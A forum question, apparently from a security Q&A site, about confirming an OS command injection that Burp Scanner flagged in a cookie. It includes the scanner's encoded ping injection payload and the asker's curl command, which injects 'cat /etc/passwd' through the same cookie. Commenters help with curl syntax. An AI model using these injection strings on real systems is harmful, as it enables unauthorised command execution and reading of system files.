0

I ran burp scanner. It said it found a with firm confidence an OS Injection vulnerability. Now I'd like to test it. In site map, I sent the request to repeater. In the repeater, the only thing I did was changing a JSESSIONID so that my request can go through. It did not complete. There is nothing in the response tab.

What a understanf is that it field a cookie called current-breadcrumb in request below with value that was not used in the original request with a "ping" payload. Based on that it assumed latency meant OS injection. I wanted to try "touch" to see the result but nothing.

What do you think of that ?

Here's the code :

GET /rvcaller/log-view/index.jsp HTTP/1.1
Host: 192.168.10.2:443
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
 Trident/5.0)
Connection: close
Cookie: menuPanel=visible; menuPanelType=config; JSESSIONID=8EBD8AE8ADA2F30B7EE7C9FCC6AAA1E7; requestedURI=../../rvcaller/admin/index.jsp; region1_configure_menu=none; region3_registry_menu=none; region4_monitor_menu=none; region5_tools_menu=none; current-breadcrumb=configure_menu%252Cuser_mgt_menu%252Cuser_mgt_menu_list%2523%7cping%20-n%2021%20127.0.0.1%7c%7c%60ping%20-c%2021%20127.0.0.1%60%20%23'%20%7cping%20-n%2021%20127.0.0.1%7c%7c%60ping%20-c%2021%20127.0.0.1%60%20%23%5c%22%20%7cping%20-n%2021%20127.0.0.1; MSG15626901566630.20814623809770383=true; ui-tabs-59=0; ui-tabs-61=0

I tried to cURL that without any success

curl -GET -H 'Accept-Encoding: gzip, deflate' -H 'Accept: */*' -H 'Accept-Language: en' -H 'Connection: close' -H 'Cookie: menuPanel=visible; menuPanelType=config; JSESSIONID=74E9E2176AC36BB143E3E69974FA0F0F; requestedURI=../../carbon/admin/index.jsp; region1_configure_menu=none; region3_registry_menu=none; region4_monitor_menu=none; region5_tools_menu=none; current-breadcrumb=configure_menu%252Cuser_mgt_menu%252Cuser_mgt_menu_list%2523%7ccat%20%2Fetc%2Fpasswd%20%3E%20%2Fhome%2Ftom; MSG15626901566630.20814623809770383=true; ui-tabs-59=0; ui-tabs-61=0' 'http://192.168.10.2:443/rvcaller/log-view/index.jsp'

and I get

curl: (6) Could not resolve host: gzip,
curl: (6) Could not resolve host: deflate'
curl: (6) Could not resolve host: *
curl: (6) Could not resolve host: en'
curl: (6) Could not resolve host: close'
curl: (6) Could not resolve host: menuPanel=visible;
curl: (6) Could not resolve host: menuPanelType=config;
curl: (6) Could not resolve host: JSESSIONID=74E9E2176AC36BB143E3E69974FA0F0F;
curl: (6) Could not resolve host: requestedURI=..
curl: (6) Could not resolve host: region1_configure_menu=none;
curl: (6) Could not resolve host: region3_registry_menu=none;
curl: (6) Could not resolve host: region4_monitor_menu=none;
curl: (6) Could not resolve host: region5_tools_menu=none;
curl: (6) Could not resolve host: current-breadcrumb=configure_menu%252Cuser_mgt_menu%252Cuser_mgt_menu_list%2523%7ccat%20%2Fetc%2Fpasswd%20%3E%20%2Fhome%2Fwso2ei;
curl: (6) Could not resolve host: MSG15626901566630.20814623809770383=true;
curl: (6) Could not resolve host: ui-tabs-59=0;
curl: (6) Could not resolve host: ui-tabs-61=0'
curl: (6) Could not resolve host: 'http
5
  • Have you tried using wget or curl to submit the request to see if you get a response? In the history tab (that is populated by 'normal' browsing, what response do you get?
    – user53693
    Commented Jul 10, 2019 at 15:49
  • Hold on... I'm performing these steps right now
    – tom johnes
    Commented Jul 10, 2019 at 16:09
  • @Ian The request is not in the History Tab. Curl is not "working" .... it says could not resolve host.... Please see my OP
    – tom johnes
    Commented Jul 10, 2019 at 16:50
  • @Ian The request is not in history I think because it was automatically generated by Bur as part of scanner live analysis
    – tom johnes
    Commented Jul 10, 2019 at 17:04
  • You meant -get or -G, not -GET, in that curl command. Commands are case sensitive. Although even with that, all those "could not resolve"s look like you typo'd something else at some point -- maybe with a " instead of a ' somewhere.
    – anon
    Commented Jul 10, 2019 at 21:56

0

You must log in to answer this question.

Browse other questions tagged .